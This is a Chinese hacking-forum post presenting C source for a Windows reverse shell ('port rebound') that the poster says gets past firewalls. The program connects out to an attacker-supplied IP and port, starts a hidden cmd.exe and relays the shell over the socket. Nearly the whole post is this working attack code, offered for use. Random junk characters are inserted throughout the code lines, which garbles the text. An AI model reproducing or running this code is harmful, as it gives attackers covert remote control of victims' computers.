社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5019阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WMl^XZO  
r%mTOLef  
/* ============================== \B ^sJ[n  
Rebound port in Windows NT tNf" X !  
By wind,2006/7 A =#-u&l  
===============================*/ hBSJEP  
#include scEQDV  
#include 4W-+k  
1E_Ui1[  
#pragma comment(lib,"wsock32.lib") g~D6.OZU  
Nn7@+g)  
void OutputShell(); y8n1IZ*#SZ  
SOCKET sClient; A|OC?NZY  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [jn;| 3  
BiCa "  
void main(int argc,char **argv) ,ST.pu8N.  
{ M@@O50~  
WSADATA stWsaData; O,Gn2Do  
int nRet; v23Uh2[@Yy  
SOCKADDR_IN stSaiClient,stSaiServer; *pUV-^uo  
xVX||rrh  
if(argc != 3) ]c=1-Rl  
{ 0BD((oNg  
printf("Useage:\n\rRebound DestIP DestPort\n"); "fJ|DE&@<i  
return; &+iW:  
} D)Rf  
To? bp4  
WSAStartup(MAKEWORD(2,2),&stWsaData); A+E@OOw*~  
 Hu2g (!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :R\v# )C  
:Rx"WY  
stSaiClient.sin_family = AF_INET; yzl\{I&  
stSaiClient.sin_port = htons(0); n k3lC/f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;@s~t:u  
fR;_6?p*B  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?t P/VL  
{ ''07Km@x  
printf("Bind Socket Failed!\n"); ]7 mSM  
return; ~,-O  
} ?^ 5*[H  
s hvcc  
stSaiServer.sin_family = AF_INET; l<%~w U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <s3(   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n{ WJ.Y*  
9?,.zc^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5FKd{V'  
{ {# _C  
printf("Connect Error!"); [ [CXMbD`*  
return; M 7$4KFNp  
} g$LwXfg  
OutputShell(); ^i1:PlW]  
} dph6aN(49  
*lO+^\HXD  
void OutputShell() TBT*j&!L  
{ +Z]%@"S?  
char szBuff[1024]; DQnWLC"u  
SECURITY_ATTRIBUTES stSecurityAttributes; _oVA0@#n  
OSVERSIONINFO stOsversionInfo; ?{")Wt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =@  
STARTUPINFO stStartupInfo; (.+n1)L?  
char *szShell; e/\_F+jyc  
PROCESS_INFORMATION stProcessInformation; )KQum`pO  
unsigned long lBytesRead; ~riw7"  
Ih"Ol(W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H;&t"Ql.  
.w)t<7 y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %;?3A#  
stSecurityAttributes.lpSecurityDescriptor = 0; A@'W $p?5r  
stSecurityAttributes.bInheritHandle = TRUE; E=trJge  
6LQO>k  
1`\kXaG  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Mp=+*I[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RtL'fd  
/=}vP ey  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^4NH.q{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nP31jm+A  
stStartupInfo.wShowWindow = SW_HIDE; j-|0&X1C  
stStartupInfo.hStdInput = hReadPipe; l/NK.Jr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XS/TYdXB8  
!YHu  
GetVersionEx(&stOsversionInfo); |_m;@.44?U  
"ukbqdKD  
switch(stOsversionInfo.dwPlatformId) D*,H%xA  
{ J< M;vB)  
case 1: o-= lHtR  
szShell = "command.com"; B35f 5m7r  
break; >FNt*tX<0  
default: }iAi`_\0;  
szShell = "cmd.exe"; ]Jq e)o  
break; #9Z-Hd<  
} &nP rozC  
k]g\` gc  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {jG`l$$  
,cEcMaJ  
send(sClient,szMsg,77,0); gK#w$s50  
while(1) pC8i &_A  
{ [Nc  Ok,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ic#drpl,  
if(lBytesRead) @eWx4bl  
{ i-b7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1[]cMyV  
send(sClient,szBuff,lBytesRead,0); DUr1s]+P  
} Km-B=6*QY  
else _jz=BRO$  
{ < .!3yy  
lBytesRead=recv(sClient,szBuff,1024,0); iN*@f8gf  
if(lBytesRead<=0) break; m Y0C7i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XQ8Imkc  
} v2V1&-  
} eGil`:JY"  
.YRSd  
return; (6{ VMQ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五